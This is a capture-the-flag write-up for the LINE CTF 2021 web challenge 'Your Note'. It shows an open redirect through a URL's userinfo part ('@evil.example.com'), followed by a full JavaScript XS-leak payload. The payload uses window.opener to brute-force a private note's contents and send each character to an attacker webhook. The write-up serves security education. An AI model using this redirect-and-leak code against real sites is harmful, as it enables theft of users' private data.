# LINE CTF 2021 - Web - Your Note
## Problem
> Secure private note service> ※ Admin have disabled some security feature of their browser...>> Flag Format: LINECTF{[a-z0-9-]+}>> http:// 34.84.243.202> http:// 35.200.11.35 (mirror)> http:// 34.84.72.167 (mirror)
## Solution
### Step 1. Redirect to an arbitrary URL
The login API is as follows:```python@app.route('/login', methods=['GET', 'POST'])def login():    url = request.args.get('redirect')    if url:        url = app.config.get('BASE_URL') + url        if current_user.is_authenticated:            return redirect(url)
    if request.method == 'POST':        # -- snip --
    elif request.method == 'GET':        return render_template('login.html')```
This API provides a redirect to `app.config.get('BASE_URL') + request.args.get('redirect')`, where `BASE_URL = f"http://{APP_HOST}"`.
Then, if we send `http://34.84.72.167/[email protected]` to the bot, the redirect url is `http://{APP_HOST}@evil.example.com`. So, we can make the bot redirect to an arbitary URL because `{APP_HOST}` is interpreted as a user name in the URL.
### Step 2. Specify the flag with `window.opener`
A part of `crawler.js` is as follows:```javascript        /* -- snip -- */
        const browser = await puppeteer.launch({            args: [                '--no-sandbox',                '--disable-popup-blocking',            ],            headless: true,        });        const page = await browser.newPage();
        /* -- snip -- */```
The `--disable-popup-blocking` option enables us to use `window.open`.
So, I prepared the following attack server:
- `index.html`:    ```html    <script>      window.open("evil.html");    </script>    ```- `empty.html`:    ```html
    ```- `evil.html`    ```html    <script>    const url = "http://34.84.72.167";    const webhook = "https://{{ ... }}";    const chars = "}-abcdefghijklmnopqrstuvwxyz0123456789";    const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
    const main = async () => {      await sleep(200);
      window.open(`${webhook}/ping`);
      let prefix = "LINECTF{";
      while (true) {        if (prefix.endsWith("}")) {          break;        }        window.open(`${webhook}/prefix/${prefix}`);
        await sleep(200);        let exists = false;        for (const c of chars) {
          window.opener.location.href = `/empty.html`;          await sleep(200);          window.opener.location.href = `${url}/search?q=${prefix + c}&download`;          await sleep(500);
          try {            console.log(window.opener.document.body.textContent);            prefix += c;            exists = true;            break;          } catch (e) { }        }        if (!exists) {          window.open(`${webhook}/fail/${prefix}`);          return;        }      }      window.open(`${webhook}/success/${prefix}`);    };    main();    </script>    ```
If a user who has a note with a flag `LINECTF{[a-z0-9-]+}` accesses `index.html`, the flag is leaked in order from the first character. This is a XS-leak attack with Cross-Origin-Opener-Policy.
This attack was successful in my local environment. However, unfortunately, because the problem server was unstable, I got the flag by adjusting the sleep times and saving the search range at that point :(
## Flag
`LINECTF{1-kn0w-what-y0u-d0wn10ad}`